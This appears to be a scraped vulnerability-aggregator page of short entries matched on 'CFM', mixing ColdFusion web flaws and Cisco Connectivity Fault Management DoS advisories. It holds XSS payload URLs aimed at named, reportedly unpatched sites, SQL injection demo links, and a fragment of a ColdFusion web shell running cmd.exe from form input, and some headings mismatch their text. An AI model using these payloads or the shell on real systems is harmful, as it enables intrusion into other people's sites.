skillon.com XSS vulnerability

Vulnerable URL: http://www.skillon.com/hits3D2.cfm?ip=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E=31=10=2015= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 725150 Google Pageran...

kabalarians.com XSS vulnerability

Vulnerable URL: http://www.kabalarians.com/cfm/unsubscribe2.cfm?Email=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 67177 Google...

virtualtrials.com XSS vulnerability

Open Bug Bounty ID: OBB-114973 Description| Value ---|--- Affected Website:| virtualtrials.com Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

Cisco IOS XE Software Connectivity Fault Management (CFM) DoS

The remote Cisco device is affected by a denial of service vulnerability due to due to improper parsing of malformed Ethernet Connectivity Fault Management CFM packets. A remote, unauthenticated attacker, using specially crafted CFM packets, could trigger a denial of service condition, resulting ...

Cisco IOS Software Ethernet Connectivity Fault Management (CFM) DoS

The remote Cisco device is affected by a denial of service vulnerability due to due to improper parsing of malformed Ethernet Connectivity Fault Management CFM packets. A remote, unauthenticated attacker, using specially crafted CFM packets, could trigger a denial of service condition, resulting ...

Command injection

The Ethernet Connectivity Fault Management CFM handling feature in Cisco IOS 12.233SRE9a and earlier and IOS XE 3.13S and earlier allows remote attackers to cause a denial of service device reload via malformed CFM packets, aka Bug ID CSCuq93406...

CVE-2014-3409

Cisco IOS 12.2(33)SRE9a and earlier, and IOS XE 3.13S and earlier are affected by CVE-2014-3409 due to improper parsing in the Ethernet Connectivity Fault Management (CFM) handling feature. A remote, unauthenticated attacker can craft malformed CFM packets to trigger a denial-of-service, causing ...

crownweb (page.cfm) SQL Injection Vulnerability

No description provided by source. crownweb page.cfm Sql Injection Vulnerability =================================================================== .:. Email : [email protected] .:. Team : Sec Attack Team .:. Home : www.sec-attack.com/vb .:. Script : crownweb .:. Language : Cfm .:. Script Download:...

Information disclosure

DISPUTED Adobe ColdFusion 9.0.1 CHF1 and earlier allows remote attackers to obtain sensitive information via an id=- query to a .cfm file, which reveals the installation path in an error message. NOTE: the vendor disputes the significance of this issue because the Site-wide Error Handler and Debu...

cfm cmdshell use of attention-exploit warning-the black bar safety net

cfm-cmdshell 1. html 2. head 3. meta http-equiv="Content-Type" content="text/html; charset=gb2312" 4. titleCFM shell/title 5. /head 6. body 7. !--- os. run --- 8. cfif IsDefined"FORM. cmd" 9. cfoutputcmd/cfoutput 1 0. cfexecute name="C:\Winnt\System32\cmd.exe" 1 1. arguments="/c cmd" 1 2...

Cartweaver 2.16.11 - ProdID SQL Injection

Cartweaver 2.16.11 - ProdID SQL Injection author:meoconxatvnbrain.net product:CartWeaver main site:www.cartweaver.com 1.with CFM CartWeaver: sql injection in: Details.cfm?ProdID=a' demo: http://www.jbracing.co.uk/Details.cfm?ProdID=1' exploit: http://www.xxx.com/Details.cfm?ProdID=sql query link...

Design/Logic Flaw

BlueDragon Server and Server JX 6.2.1.286 for Windows allows remote attackers to cause a denial of service hang via a request for a .cfm file whose name contains an MS-DOS device name such as 1 con, 2 aux, 3 com1, and 4 com2...

Cross site scripting

Cross-site scripting XSS vulnerability in BlueDragon Server and Server JX 6.2.1.286 for Windows allows remote attackers to inject arbitrary web script or HTML via the filename in a request to a 1 .cfm or 2 .cfml file, which reflects the result in the default error page...

CVE-2005-4074

Directory traversal vulnerability in index.cfm in CFNuke 4.6 and earlier, when Sandbox Security is disabled, allows remote attackers to include arbitrary local .cfm files via a .. dot dot in the 1 sector or 2 page parameters...